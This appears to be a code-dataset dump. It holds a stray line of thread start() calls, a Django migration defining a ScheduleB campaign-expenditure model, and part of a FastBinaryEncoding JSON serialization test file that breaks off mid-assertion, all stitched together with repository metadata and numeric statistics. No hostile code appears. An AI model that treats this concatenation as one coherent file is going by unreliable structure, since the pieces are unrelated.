t10.start() t11.start() t12.start() t13.start() t14.start() t15.start() t16.start() t17.start() t18.start() t19.start() t20.start() t21.start() t22.start() t23.start() t24.start() t25.start() t26.start() t27.start() t28.start() t29.start() t30.start() t31.start() t32.start() t33.start() t34.start() t35.start() t36.start() t37.start() t38.start() t39.start() t40.start()

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null

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null

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1

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7

d182e2f1208922373b737d8cf754956ba62861fa

5,266

py

Python

cycle_2018/migrations/0007_scheduleb.py

RobBickel/nyt-fec

802df867c3b31fff8e922be00bab6f40a5db2d00

[ "Apache-2.0" ]

17

2018-03-27T15:09:58.000Z

2020-05-13T11:32:43.000Z

cycle_2018/migrations/0007_scheduleb.py

RobBickel/nyt-fec

802df867c3b31fff8e922be00bab6f40a5db2d00

[ "Apache-2.0" ]

59

2018-03-21T17:08:15.000Z

2021-12-13T19:47:37.000Z

cycle_2018/migrations/0007_scheduleb.py

RobBickel/nyt-fec

802df867c3b31fff8e922be00bab6f40a5db2d00

[ "Apache-2.0" ]

11

2018-09-11T23:18:32.000Z

2021-12-15T08:43:58.000Z

# Generated by Django 2.0.1 on 2018-02-16 22:22 from django.db import migrations, models import django.utils.timezone class Migration(migrations.Migration): dependencies = [ ('cycle_2018', '0006_auto_20180216_2106'), ] operations = [ migrations.CreateModel( name='ScheduleB', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('active', models.BooleanField(default=True)), ('created', models.DateTimeField(default=django.utils.timezone.now)), ('updated', models.DateTimeField(auto_now=True)), ('form_type', models.CharField(blank=True, max_length=255, null=True)), ('filer_committee_id_number', models.CharField(blank=True, max_length=255, null=True)), ('filing_id', models.IntegerField(blank=True, null=True)), ('transaction_id', models.CharField(blank=True, max_length=255, null=True)), ('back_reference_tran_id_number', models.CharField(blank=True, max_length=255, null=True)), ('back_reference_sched_name', models.CharField(blank=True, max_length=255, null=True)), ('entity_type', models.CharField(blank=True, max_length=255, null=True)), ('payee_organization_name', models.CharField(blank=True, max_length=255, null=True)), ('payee_last_name', models.CharField(blank=True, max_length=255, null=True)), ('payee_first_name', models.CharField(blank=True, max_length=255, null=True)), ('payee_middle_name', models.CharField(blank=True, max_length=255, null=True)), ('payee_prefix', models.CharField(blank=True, max_length=255, null=True)), ('payee_suffix', models.CharField(blank=True, max_length=255, null=True)), ('payee_street_1', models.CharField(blank=True, max_length=255, null=True)), ('payee_street_2', models.CharField(blank=True, max_length=255, null=True)), ('payee_city', models.CharField(blank=True, max_length=255, null=True)), ('payee_state', models.CharField(blank=True, max_length=30, null=True)), ('payee_zip', models.CharField(blank=True, max_length=10, null=True)), ('election_code', models.CharField(blank=True, max_length=255, null=True)), ('election_other_description', models.CharField(blank=True, max_length=255, null=True)), ('expenditure_date', models.CharField(blank=True, max_length=255, null=True)), ('expenditure_amount', models.DecimalField(blank=True, decimal_places=2, max_digits=12, null=True)), ('semi_annual_refunded_bundled_amt', models.DecimalField(blank=True, decimal_places=2, max_digits=12, null=True)), ('expenditure_purpose_descrip', models.CharField(blank=True, max_length=255, null=True)), ('category_code', models.CharField(blank=True, max_length=255, null=True)), ('beneficiary_committee_fec_id', models.CharField(blank=True, max_length=255, null=True)), ('beneficiary_committee_name', models.CharField(blank=True, max_length=255, null=True)), ('beneficiary_candidate_fec_id', models.CharField(blank=True, max_length=255, null=True)), ('beneficiary_candidate_last_name', models.CharField(blank=True, max_length=255, null=True)), ('beneficiary_candidate_first_name', models.CharField(blank=True, max_length=255, null=True)), ('beneficiary_candidate_middle_name', models.CharField(blank=True, max_length=255, null=True)), ('beneficiary_candidate_prefix', models.CharField(blank=True, max_length=255, null=True)), ('beneficiary_candidate_suffix', models.CharField(blank=True, max_length=255, null=True)), ('beneficiary_candidate_office', models.CharField(blank=True, max_length=255, null=True)), ('beneficiary_candidate_state', models.CharField(blank=True, max_length=255, null=True)), ('beneficiary_candidate_district', models.CharField(blank=True, max_length=255, null=True)), ('conduit_name', models.CharField(blank=True, max_length=255, null=True)), ('conduit_street_1', models.CharField(blank=True, max_length=255, null=True)), ('conduit_street_2', models.CharField(blank=True, max_length=255, null=True)), ('conduit_city', models.CharField(blank=True, max_length=255, null=True)), ('conduit_state', models.CharField(blank=True, max_length=255, null=True)), ('conduit_zip', models.CharField(blank=True, max_length=255, null=True)), ('memo_code', models.CharField(blank=True, max_length=255, null=True)), ('memo_text_description', models.CharField(blank=True, max_length=255, null=True)), ('reference_to_si_or_sl_system_code_that_identifies_the_account', models.CharField(blank=True, max_length=255, null=True)), ], options={ 'abstract': False, }, ), ]

73.138889

139

0.646031

619

5,266

5.261712

0.189015

0.124348

0.257906

0.309487

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0.754682

0.727663

0

0.04089

0.215154

5,266

71

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74.169014

0.747157

0.008545

0

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0.117072

0

1

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false

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null

0

1

0

1

0

1

0

null

0

8

d18dc137b20e6e118cba0556bb79383907ed97e3

69,012

py

Python

projects/Python/tests/test_serialization_json.py

kokizzu/FastBinaryEncoding

eec54ef2fb83de0bb24cc33a591f9896d360f23c

[ "MIT" ]

563

2018-09-04T23:52:42.000Z

2022-03-24T01:35:50.000Z

projects/Python/tests/test_serialization_json.py

kokizzu/FastBinaryEncoding

eec54ef2fb83de0bb24cc33a591f9896d360f23c

[ "MIT" ]

44

2018-12-04T11:13:34.000Z

2022-03-01T00:22:05.000Z

projects/Python/tests/test_serialization_json.py

kokizzu/FastBinaryEncoding

eec54ef2fb83de0bb24cc33a591f9896d360f23c

[ "MIT" ]

69

2018-11-06T12:15:39.000Z

2022-02-10T13:51:01.000Z

import datetime import decimal import uuid import proto from proto import proto from proto import test from unittest import TestCase class TestSerializationJson(TestCase): def test_serialization_json_domain(self): # Define a source JSON string json = r'{"id":1,"name":"Test","state":6,"wallet":{"currency":"USD","amount":1000.0},"asset":{"currency":"EUR","amount":100.0},"orders":[{"id":1,"symbol":"EURUSD","side":0,"type":0,"price":1.23456,"volume":1000.0},{"id":2,"symbol":"EURUSD","side":1,"type":1,"price":1.0,"volume":100.0},{"id":3,"symbol":"EURUSD","side":0,"type":2,"price":1.5,"volume":10.0}]}' # Create a new account from the source JSON string account1 = proto.Account.from_json(json) # Serialize the account to the JSON string json = account1.to_json() # Check the serialized JSON size self.assertGreater(len(json), 0) # Deserialize the account from the JSON string account2 = proto.Account.from_json(json) self.assertEqual(account2.id, 1) self.assertEqual(account2.name, "Test") self.assertTrue(account2.state.has_flags(proto.State.good)) self.assertEqual(account2.wallet.currency, "USD") self.assertEqual(account2.wallet.amount, 1000.0) self.assertNotEqual(account2.asset, None) self.assertEqual(account2.asset.currency, "EUR") self.assertEqual(account2.asset.amount, 100.0) self.assertEqual(len(account2.orders), 3) self.assertEqual(account2.orders[0].id, 1) self.assertEqual(account2.orders[0].symbol, "EURUSD") self.assertEqual(account2.orders[0].side, proto.OrderSide.buy) self.assertEqual(account2.orders[0].type, proto.OrderType.market) self.assertEqual(account2.orders[0].price, 1.23456) self.assertEqual(account2.orders[0].volume, 1000.0) self.assertEqual(account2.orders[1].id, 2) self.assertEqual(account2.orders[1].symbol, "EURUSD") self.assertEqual(account2.orders[1].side, proto.OrderSide.sell) self.assertEqual(account2.orders[1].type, proto.OrderType.limit) self.assertEqual(account2.orders[1].price, 1.0) self.assertEqual(account2.orders[1].volume, 100.0) self.assertEqual(account2.orders[2].id, 3) self.assertEqual(account2.orders[2].symbol, "EURUSD") self.assertEqual(account2.orders[2].side, proto.OrderSide.buy) self.assertEqual(account2.orders[2].type, proto.OrderType.stop) self.assertEqual(account2.orders[2].price, 1.5) self.assertEqual(account2.orders[2].volume, 10.0) def test_serialization_json_struct_simple(self): # Define a source JSON string json = r'{"id":0,"f1":false,"f2":true,"f3":0,"f4":255,"f5":0,"f6":33,"f7":0,"f8":1092,"f9":0,"f10":127,"f11":0,"f12":255,"f13":0,"f14":32767,"f15":0,"f16":65535,"f17":0,"f18":2147483647,"f19":0,"f20":4294967295,"f21":0,"f22":9223372036854775807,"f23":0,"f24":18446744073709551615,"f25":0.0,"f26":123.456,"f27":0.0,"f28":-1.23456e+125,"f29":"0.0","f30":"123456.123456","f31":"","f32":"Initial string!","f33":0,"f34":0,"f35":1543145597933463000,"f36":"00000000-0000-0000-0000-000000000000","f37":"e7854072-f0a5-11e8-8f69-ac220bcdd8e0","f38":"123e4567-e89b-12d3-a456-426655440000","f39":0,"f40":0,"f41":{"id":0,"symbol":"","side":0,"type":0,"price":0.0,"volume":0.0},"f42":{"currency":"","amount":0.0},"f43":0,"f44":{"id":0,"name":"","state":11,"wallet":{"currency":"","amount":0.0},"asset":null,"orders":[]}}' # Create a new struct from the source JSON string struct1 = test.StructSimple.from_json(json) # Serialize the struct to the JSON string json = struct1.to_json() # Check the serialized JSON size self.assertGreater(len(json), 0) # Deserialize the struct from the JSON string struct2 = test.StructSimple.from_json(json) self.assertEqual(struct2.f1, False) self.assertEqual(struct2.f2, True) self.assertEqual(struct2.f3, 0) self.assertEqual(struct2.f4, 0xFF) self.assertEqual(struct2.f5, '\0') self.assertEqual(struct2.f6, '!') self.assertEqual(struct2.f7, chr(0)) self.assertEqual(struct2.f8, chr(0x0444)) self.assertEqual(struct2.f9, 0) self.assertEqual(struct2.f10, 127) self.assertEqual(struct2.f11, 0) self.assertEqual(struct2.f12, 0xFF) self.assertEqual(struct2.f13, 0) self.assertEqual(struct2.f14, 32767) self.assertEqual(struct2.f15, 0) self.assertEqual(struct2.f16, 0xFFFF) self.assertEqual(struct2.f17, 0) self.assertEqual(struct2.f18, 2147483647) self.assertEqual(struct2.f19, 0) self.assertEqual(struct2.f20, 0xFFFFFFFF) self.assertEqual(struct2.f21, 0) self.assertEqual(struct2.f22, 9223372036854775807) self.assertEqual(struct2.f23, 0) self.assertEqual(struct2.f24, 0xFFFFFFFFFFFFFFFF) self.assertEqual(struct2.f25, 0.0) self.assertLess(abs(struct2.f26 - 123.456), 0.0001) self.assertEqual(struct2.f27, 0.0) self.assertLess(abs(struct2.f28 - -123.567e+123), 1e+123) self.assertEqual(struct2.f29, decimal.Decimal("0")) self.assertEqual(struct2.f30, decimal.Decimal("123456.123456")) self.assertEqual(struct2.f31, "") self.assertEqual(struct2.f32, "Initial string!") self.assertEqual(datetime.datetime.utcfromtimestamp(struct2.f33 / 1000000000), datetime.datetime(1970, 1, 1)) self.assertEqual(datetime.datetime.utcfromtimestamp(struct2.f34 / 1000000000), datetime.datetime(1970, 1, 1)) self.assertGreater(datetime.datetime.utcfromtimestamp(struct2.f35 / 1000000000), datetime.datetime(2018, 1, 1)) self.assertEqual(struct2.f36, uuid.UUID(int=0)) self.assertNotEqual(struct2.f37, uuid.UUID(int=0)) self.assertEqual(struct2.f38, uuid.UUID("123e4567-e89b-12d3-a456-426655440000")) self.assertEqual(struct2.f1, struct1.f1) self.assertEqual(struct2.f2, struct1.f2) self.assertEqual(struct2.f3, struct1.f3) self.assertEqual(struct2.f4, struct1.f4) self.assertEqual(struct2.f5, struct1.f5) self.assertEqual(struct2.f6, struct1.f6) self.assertEqual(struct2.f7, struct1.f7) self.assertEqual(struct2.f8, struct1.f8) self.assertEqual(struct2.f9, struct1.f9) self.assertEqual(struct2.f10, struct1.f10) self.assertEqual(struct2.f11, struct1.f11) self.assertEqual(struct2.f12, struct1.f12) self.assertEqual(struct2.f13, struct1.f13) self.assertEqual(struct2.f14, struct1.f14) self.assertEqual(struct2.f15, struct1.f15) self.assertEqual(struct2.f16, struct1.f16) self.assertEqual(struct2.f17, struct1.f17) self.assertEqual(struct2.f18, struct1.f18) self.assertEqual(struct2.f19, struct1.f19) self.assertEqual(struct2.f20, struct1.f20) self.assertEqual(struct2.f21, struct1.f21) self.assertEqual(struct2.f22, struct1.f22) self.assertEqual(struct2.f23, struct1.f23) self.assertEqual(struct2.f24, struct1.f24) self.assertEqual(struct2.f25, struct1.f25) self.assertLess(abs(struct2.f26 - struct1.f26), 0.0001) self.assertEqual(struct2.f27, struct1.f27) self.assertLess(abs(struct2.f28 - struct1.f28), 1e+123) self.assertEqual(struct2.f29, struct1.f29) self.assertEqual(struct2.f30, struct1.f30) self.assertEqual(struct2.f31, struct1.f31) self.assertEqual(struct2.f32, struct1.f32) self.assertEqual(struct2.f33, struct1.f33) self.assertEqual(struct2.f34, struct1.f34) self.assertEqual(struct2.f35, struct1.f35) self.assertEqual(struct2.f36, struct1.f36) self.assertEqual(struct2.f37, struct1.f37) self.assertEqual(struct2.f38, struct1.f38) self.assertEqual(struct2.f39, struct1.f39) self.assertEqual(struct2.f40, struct1.f40) def test_serialization_json_struct_optional(self): # Define a source JSON string json = r'{"id":0,"f1":false,"f2":true,"f3":0,"f4":255,"f5":0,"f6":33,"f7":0,"f8":1092,"f9":0,"f10":127,"f11":0,"f12":255,"f13":0,"f14":32767,"f15":0,"f16":65535,"f17":0,"f18":2147483647,"f19":0,"f20":4294967295,"f21":0,"f22":9223372036854775807,"f23":0,"f24":18446744073709551615,"f25":0.0,"f26":123.456,"f27":0.0,"f28":-1.23456e+125,"f29":"0.0","f30":"123456.123456","f31":"","f32":"Initial string!","f33":0,"f34":0,"f35":1543145860677797000,"f36":"00000000-0000-0000-0000-000000000000","f37":"8420d1c6-f0a6-11e8-80fc-ac220bcdd8e0","f38":"123e4567-e89b-12d3-a456-426655440000","f39":0,"f40":0,"f41":{"id":0,"symbol":"","side":0,"type":0,"price":0.0,"volume":0.0},"f42":{"currency":"","amount":0.0},"f43":0,"f44":{"id":0,"name":"","state":11,"wallet":{"currency":"","amount":0.0},"asset":null,"orders":[]},"f100":null,"f101":true,"f102":null,"f103":null,"f104":255,"f105":null,"f106":null,"f107":33,"f108":null,"f109":null,"f110":1092,"f111":null,"f112":null,"f113":127,"f114":null,"f115":null,"f116":255,"f117":null,"f118":null,"f119":32767,"f120":null,"f121":null,"f122":65535,"f123":null,"f124":null,"f125":2147483647,"f126":null,"f127":null,"f128":4294967295,"f129":null,"f130":null,"f131":9223372036854775807,"f132":null,"f133":null,"f134":18446744073709551615,"f135":null,"f136":null,"f137":123.456,"f138":null,"f139":null,"f140":-1.23456e+125,"f141":null,"f142":null,"f143":"123456.123456","f144":null,"f145":null,"f146":"Initial string!","f147":null,"f148":null,"f149":1543145860678429000,"f150":null,"f151":null,"f152":"123e4567-e89b-12d3-a456-426655440000","f153":null,"f154":null,"f155":null,"f156":null,"f157":null,"f158":null,"f159":null,"f160":null,"f161":null,"f162":null,"f163":null,"f164":null,"f165":null}' # Create a new struct from the source JSON string struct1 = test.StructOptional.from_json(json) # Serialize the struct to the JSON string json = struct1.to_json() # Check the serialized JSON size self.assertGreater(len(json), 0) # Deserialize the struct from the JSON string struct2 = test.StructOptional.from_json(json) self.assertEqual(struct2.f1, False) self.assertEqual(struct2.f2, True) self.assertEqual(struct2.f3, 0) self.assertEqual(struct2.f4, 0xFF) self.assertEqual(struct2.f5, '\0') self.assertEqual(struct2.f6, '!') self.assertEqual(struct2.f7, chr(0)) self.assertEqual(struct2.f8, chr(0x0444)) self.assertEqual(struct2.f9, 0) self.assertEqual(struct2.f10, 127) self.assertEqual(struct2.f11, 0) self.assertEqual(struct2.f12, 0xFF) self.assertEqual(struct2.f13, 0) self.assertEqual(struct2.f14, 32767) self.assertEqual(struct2.f15, 0) self.assertEqual(struct2.f16, 0xFFFF) self.assertEqual(struct2.f17, 0) self.assertEqual(struct2.f18, 2147483647) self.assertEqual(struct2.f19, 0) self.assertEqual(struct2.f20, 0xFFFFFFFF) self.assertEqual(struct2.f21, 0) self.assertEqual(struct2.f22, 9223372036854775807) self.assertEqual(struct2.f23, 0) self.assertEqual(struct2.f24, 0xFFFFFFFFFFFFFFFF) self.assertEqual(struct2.f25, 0.0) self.assertLess(abs(struct2.f26 - 123.456), 0.0001) self.assertEqual(struct2.f27, 0.0) self.assertLess(abs(struct2.f28 - -123.567e+123), 1e+123) self.assertEqual(struct2.f29, decimal.Decimal("0")) self.assertEqual(struct2.f30, decimal.Decimal("123456.123456")) self.assertEqual(struct2.f31, "") self.assertEqual(struct2.f32, "Initial string!") self.assertEqual(datetime.datetime.utcfromtimestamp(struct2.f33 / 1000000000), datetime.datetime(1970, 1, 1)) self.assertEqual(datetime.datetime.utcfromtimestamp(struct2.f34 / 1000000000), datetime.datetime(1970, 1, 1)) self.assertGreater(datetime.datetime.utcfromtimestamp(struct2.f35 / 1000000000), datetime.datetime(2018, 1, 1)) self.assertEqual(struct2.f36, uuid.UUID(int=0)) self.assertNotEqual(struct2.f37, uuid.UUID(int=0)) self.assertEqual(struct2.f38, uuid.UUID("123e4567-e89b-12d3-a456-426655440000")) self.assertEqual(struct2.f100, None) self.assertNotEqual(struct2.f101, None) self.assertEqual(struct2.f101, True) self.assertEqual(struct2.f102, None) self.assertEqual(struct2.f103, None) self.assertNotEqual(struct2.f104, None) self.assertEqual(struct2.f104, 0xFF) self.assertEqual(struct2.f105, None) self.assertEqual(struct2.f106, None) self.assertNotEqual(struct2.f107, None) self.assertEqual(struct2.f107, '!') self.assertEqual(struct2.f108, None) self.assertEqual(struct2.f109, None) self.assertNotEqual(struct2.f110, None) self.assertEqual(struct2.f110, chr(0x0444)) self.assertEqual(struct2.f111, None) self.assertEqual(struct2.f112, None) self.assertNotEqual(struct2.f113, None) self.assertEqual(struct2.f113, 127) self.assertEqual(struct2.f114, None) self.assertEqual(struct2.f115, None) self.assertNotEqual(struct2.f116, None) self.assertEqual(struct2.f116, 0xFF) self.assertEqual(struct2.f117, None) self.assertEqual(struct2.f118, None) self.assertNotEqual(struct2.f119, None) self.assertEqual(struct2.f119, 32767) self.assertEqual(struct2.f120, None) self.assertEqual(struct2.f121, None) self.assertNotEqual(struct2.f122, None) self.assertEqual(struct2.f122, 0xFFFF) self.assertEqual(struct2.f123, None) self.assertEqual(struct2.f124, None) self.assertNotEqual(struct2.f125, None) self.assertEqual(struct2.f125, 2147483647) self.assertEqual(struct2.f126, None) self.assertEqual(struct2.f127, None) self.assertNotEqual(struct2.f128, None) self.assertEqual(struct2.f128, 0xFFFFFFFF) self.assertEqual(struct2.f129, None) self.assertEqual(struct2.f130, None) self.assertNotEqual(struct2.f131, None) self.assertEqual(struct2.f131, 9223372036854775807) self.assertEqual(struct2.f132, None) self.assertEqual(struct2.f133, None) self.assertNotEqual(struct2.f131, None) self.assertEqual(struct2.f134, 0xFFFFFFFFFFFFFFFF) self.assertEqual(struct2.f135, None) self.assertEqual(struct2.f136, None) self.assertNotEqual(struct2.f137, None) self.assertLess(abs(struct2.f137 - 123.456), 0.0001) self.assertEqual(struct2.f138, None) self.assertEqual(struct2.f139, None) self.assertNotEqual(struct2.f140, None) self.assertLess(abs(struct2.f140 - -123.567e+123), 1e+123) self.assertEqual(struct2.f141, None) self.assertEqual(struct2.f142, None) self.assertNotEqual(struct2.f143, None) self.assertEqual(struct2.f143, decimal.Decimal("123456.123456")) self.assertEqual(struct2.f144, None) self.assertEqual(struct2.f145, None) self.assertNotEqual(struct2.f146, None) self.assertEqual(struct2.f146, "Initial string!") self.assertEqual(struct2.f147, None) self.assertEqual(struct2.f148, None) self.assertNotEqual(struct2.f149, None) self.assertGreater(datetime.datetime.utcfromtimestamp(struct2.f149 / 1000000000), datetime.datetime(2018, 1, 1)) self.assertEqual(struct2.f150, None) self.assertEqual(struct2.f151, None) self.assertNotEqual(struct2.f152, None) self.assertEqual(struct2.f152, uuid.UUID("123e4567-e89b-12d3-a456-426655440000")) self.assertEqual(struct2.f153, None) self.assertEqual(struct2.f154, None) self.assertEqual(struct2.f155, None) self.assertEqual(struct2.f156, None) self.assertEqual(struct2.f157, None) self.assertEqual(struct2.f158, None) self.assertEqual(struct2.f159, None) self.assertEqual(struct2.f160, None) self.assertEqual(struct2.f161, None) self.assertEqual(struct2.f162, None) self.assertEqual(struct2.f163, None) self.assertEqual(struct2.f164, None) self.assertEqual(struct2.f165, None) self.assertEqual(struct2.f1, struct1.f1) self.assertEqual(struct2.f2, struct1.f2) self.assertEqual(struct2.f3, struct1.f3) self.assertEqual(struct2.f4, struct1.f4) self.assertEqual(struct2.f5, struct1.f5) self.assertEqual(struct2.f6, struct1.f6) self.assertEqual(struct2.f7, struct1.f7) self.assertEqual(struct2.f8, struct1.f8) self.assertEqual(struct2.f9, struct1.f9) self.assertEqual(struct2.f10, struct1.f10) self.assertEqual(struct2.f11, struct1.f11) self.assertEqual(struct2.f12, struct1.f12) self.assertEqual(struct2.f13, struct1.f13) self.assertEqual(struct2.f14, struct1.f14) self.assertEqual(struct2.f15, struct1.f15) self.assertEqual(struct2.f16, struct1.f16) self.assertEqual(struct2.f17, struct1.f17) self.assertEqual(struct2.f18, struct1.f18) self.assertEqual(struct2.f19, struct1.f19) self.assertEqual(struct2.f20, struct1.f20) self.assertEqual(struct2.f21, struct1.f21) self.assertEqual(struct2.f22, struct1.f22) self.assertEqual(struct2.f23, struct1.f23) self.assertEqual(struct2.f24, struct1.f24) self.assertEqual(struct2.f25, struct1.f25) self.assertLess(abs(struct2.f26 - struct1.f26), 0.0001) self.assertEqual(struct2.f27, struct1.f27) self.assertLess(abs(struct2.f28 - struct1.f28), 1e+123) self.assertEqual(struct2.f29, struct1.f29) self.assertEqual(struct2.f30, struct1.f30) self.assertEqual(struct2.f31, struct1.f31) self.assertEqual(struct2.f32, struct1.f32) self.assertEqual(struct2.f33, struct1.f33) self.assertEqual(struct2.f34, struct1.f34) self.assertEqual(struct2.f35, struct1.f35) self.assertEqual(struct2.f36, struct1.f36) self.assertEqual(struct2.f37, struct1.f37) self.assertEqual(struct2.f100, struct1.f100) self.assertEqual(struct2.f101, struct1.f101) self.assertEqual(struct2.f102, struct1.f102) self.assertEqual(struct2.f103, struct1.f103) self.assertEqual(struct2.f104, struct1.f104) self.assertEqual(struct2.f105, struct1.f105) self.assertEqual(struct2.f106, struct1.f106) self.assertEqual(struct2.f107, struct1.f107) self.assertEqual(struct2.f108, struct1.f108) self.assertEqual(struct2.f109, struct1.f109) self.assertEqual(struct2.f110, struct1.f110) self.assertEqual(struct2.f111, struct1.f111) self.assertEqual(struct2.f112, struct1.f112) self.assertEqual(struct2.f113, struct1.f113) self.assertEqual(struct2.f114, struct1.f114) self.assertEqual(struct2.f115, struct1.f115) self.assertEqual(struct2.f116, struct1.f116) self.assertEqual(struct2.f117, struct1.f117) self.assertEqual(struct2.f118, struct1.f118) self.assertEqual(struct2.f119, struct1.f119) self.assertEqual(struct2.f120, struct1.f120) self.assertEqual(struct2.f121, struct1.f121) self.assertEqual(struct2.f122, struct1.f122) self.assertEqual(struct2.f123, struct1.f123) self.assertEqual(struct2.f124, struct1.f124) self.assertEqual(struct2.f125, struct1.f125) self.assertEqual(struct2.f126, struct1.f126) self.assertEqual(struct2.f127, struct1.f127) self.assertEqual(struct2.f128, struct1.f128) self.assertEqual(struct2.f129, struct1.f129) self.assertEqual(struct2.f130, struct1.f130) self.assertEqual(struct2.f131, struct1.f131) self.assertEqual(struct2.f132, struct1.f132) self.assertEqual(struct2.f133, struct1.f133) self.assertEqual(struct2.f134, struct1.f134) self.assertEqual(struct2.f135, struct1.f135) self.assertEqual(struct2.f136, struct1.f136) self.assertLess(abs(struct2.f137 - struct1.f137), 0.0001) self.assertEqual(struct2.f138, struct1.f138) self.assertEqual(struct2.f139, struct1.f139) self.assertLess(abs(struct2.f140 - struct1.f140), 1e+123) self.assertEqual(struct2.f141, struct1.f141) self.assertEqual(struct2.f142, struct1.f142) self.assertEqual(struct2.f143, struct1.f143) self.assertEqual(struct2.f144, struct1.f144) self.assertEqual(struct2.f145, struct1.f145) self.assertEqual(struct2.f146, struct1.f146) self.assertEqual(struct2.f147, struct1.f147) self.assertEqual(struct2.f148, struct1.f148) self.assertEqual(struct2.f149, struct1.f149) self.assertEqual(struct2.f150, struct1.f150) self.assertEqual(struct2.f151, struct1.f151) self.assertEqual(struct2.f152, struct1.f152) self.assertEqual(struct2.f153, struct1.f153) self.assertEqual(struct2.f154, struct1.f154) self.assertEqual(struct2.f155, struct1.f155) self.assertEqual(struct2.f156, struct1.f156) self.assertEqual(struct2.f157, struct1.f157) def test_serialization_json_struct_nested(self): # Define a source JSON string json = r'{"id":0,"f1":false,"f2":true,"f3":0,"f4":255,"f5":0,"f6":33,"f7":0,"f8":1092,"f9":0,"f10":127,"f11":0,"f12":255,"f13":0,"f14":32767,"f15":0,"f16":65535,"f17":0,"f18":2147483647,"f19":0,"f20":4294967295,"f21":0,"f22":9223372036854775807,"f23":0,"f24":18446744073709551615,"f25":0.0,"f26":123.456,"f27":0.0,"f28":-1.23456e+125,"f29":"0.0","f30":"123456.123456","f31":"","f32":"Initial string!","f33":0,"f34":0,"f35":1543145901646321000,"f36":"00000000-0000-0000-0000-000000000000","f37":"9c8c268e-f0a6-11e8-a777-ac220bcdd8e0","f38":"123e4567-e89b-12d3-a456-426655440000","f39":0,"f40":0,"f41":{"id":0,"symbol":"","side":0,"type":0,"price":0.0,"volume":0.0},"f42":{"currency":"","amount":0.0},"f43":0,"f44":{"id":0,"name":"","state":11,"wallet":{"currency":"","amount":0.0},"asset":null,"orders":[]},"f100":null,"f101":true,"f102":null,"f103":null,"f104":255,"f105":null,"f106":null,"f107":33,"f108":null,"f109":null,"f110":1092,"f111":null,"f112":null,"f113":127,"f114":null,"f115":null,"f116":255,"f117":null,"f118":null,"f119":32767,"f120":null,"f121":null,"f122":65535,"f123":null,"f124":null,"f125":2147483647,"f126":null,"f127":null,"f128":4294967295,"f129":null,"f130":null,"f131":9223372036854775807,"f132":null,"f133":null,"f134":18446744073709551615,"f135":null,"f136":null,"f137":123.456,"f138":null,"f139":null,"f140":-1.23456e+125,"f141":null,"f142":null,"f143":"123456.123456","f144":null,"f145":null,"f146":"Initial string!","f147":null,"f148":null,"f149":1543145901647155000,"f150":null,"f151":null,"f152":"123e4567-e89b-12d3-a456-426655440000","f153":null,"f154":null,"f155":null,"f156":null,"f157":null,"f158":null,"f159":null,"f160":null,"f161":null,"f162":null,"f163":null,"f164":null,"f165":null,"f1000":0,"f1001":null,"f1002":50,"f1003":null,"f1004":0,"f1005":null,"f1006":42,"f1007":null,"f1008":{"id":0,"f1":false,"f2":true,"f3":0,"f4":255,"f5":0,"f6":33,"f7":0,"f8":1092,"f9":0,"f10":127,"f11":0,"f12":255,"f13":0,"f14":32767,"f15":0,"f16":65535,"f17":0,"f18":2147483647,"f19":0,"f20":4294967295,"f21":0,"f22":9223372036854775807,"f23":0,"f24":18446744073709551615,"f25":0.0,"f26":123.456,"f27":0.0,"f28":-1.23456e+125,"f29":"0.0","f30":"123456.123456","f31":"","f32":"Initial string!","f33":0,"f34":0,"f35":1543145901647367000,"f36":"00000000-0000-0000-0000-000000000000","f37":"9c8c54c4-f0a6-11e8-a777-ac220bcdd8e0","f38":"123e4567-e89b-12d3-a456-426655440000","f39":0,"f40":0,"f41":{"id":0,"symbol":"","side":0,"type":0,"price":0.0,"volume":0.0},"f42":{"currency":"","amount":0.0},"f43":0,"f44":{"id":0,"name":"","state":11,"wallet":{"currency":"","amount":0.0},"asset":null,"orders":[]}},"f1009":null,"f1010":{"id":0,"f1":false,"f2":true,"f3":0,"f4":255,"f5":0,"f6":33,"f7":0,"f8":1092,"f9":0,"f10":127,"f11":0,"f12":255,"f13":0,"f14":32767,"f15":0,"f16":65535,"f17":0,"f18":2147483647,"f19":0,"f20":4294967295,"f21":0,"f22":9223372036854775807,"f23":0,"f24":18446744073709551615,"f25":0.0,"f26":123.456,"f27":0.0,"f28":-1.23456e+125,"f29":"0.0","f30":"123456.123456","f31":"","f32":"Initial string!","f33":0,"f34":0,"f35":1543145901648310000,"f36":"00000000-0000-0000-0000-000000000000","f37":"9c8c6b76-f0a6-11e8-a777-ac220bcdd8e0","f38":"123e4567-e89b-12d3-a456-426655440000","f39":0,"f40":0,"f41":{"id":0,"symbol":"","side":0,"type":0,"price":0.0,"volume":0.0},"f42":{"currency":"","amount":0.0},"f43":0,"f44":{"id":0,"name":"","state":11,"wallet":{"currency":"","amount":0.0},"asset":null,"orders":[]},"f100":null,"f101":true,"f102":null,"f103":null,"f104":255,"f105":null,"f106":null,"f107":33,"f108":null,"f109":null,"f110":1092,"f111":null,"f112":null,"f113":127,"f114":null,"f115":null,"f116":255,"f117":null,"f118":null,"f119":32767,"f120":null,"f121":null,"f122":65535,"f123":null,"f124":null,"f125":2147483647,"f126":null,"f127":null,"f128":4294967295,"f129":null,"f130":null,"f131":9223372036854775807,"f132":null,"f133":null,"f134":18446744073709551615,"f135":null,"f136":null,"f137":123.456,"f138":null,"f139":null,"f140":-1.23456e+125,"f141":null,"f142":null,"f143":"123456.123456","f144":null,"f145":null,"f146":"Initial string!","f147":null,"f148":null,"f149":1543145901648871000,"f150":null,"f151":null,"f152":"123e4567-e89b-12d3-a456-426655440000","f153":null,"f154":null,"f155":null,"f156":null,"f157":null,"f158":null,"f159":null,"f160":null,"f161":null,"f162":null,"f163":null,"f164":null,"f165":null},"f1011":null}' # Create a new struct from the source JSON string struct1 = test.StructNested.from_json(json) # Serialize the struct to the JSON string json = struct1.to_json() # Check the serialized JSON size self.assertGreater(len(json), 0) # Deserialize the struct from the JSON string struct2 = test.StructNested.from_json(json) self.assertEqual(struct2.f1, False) self.assertEqual(struct2.f2, True) self.assertEqual(struct2.f3, 0) self.assertEqual(struct2.f4, 0xFF) self.assertEqual(struct2.f5, '\0') self.assertEqual(struct2.f6, '!') self.assertEqual(struct2.f7, chr(0)) self.assertEqual(struct2.f8, chr(0x0444)) self.assertEqual(struct2.f9, 0) self.assertEqual(struct2.f10, 127) self.assertEqual(struct2.f11, 0) self.assertEqual(struct2.f12, 0xFF) self.assertEqual(struct2.f13, 0) self.assertEqual(struct2.f14, 32767) self.assertEqual(struct2.f15, 0) self.assertEqual(struct2.f16, 0xFFFF) self.assertEqual(struct2.f17, 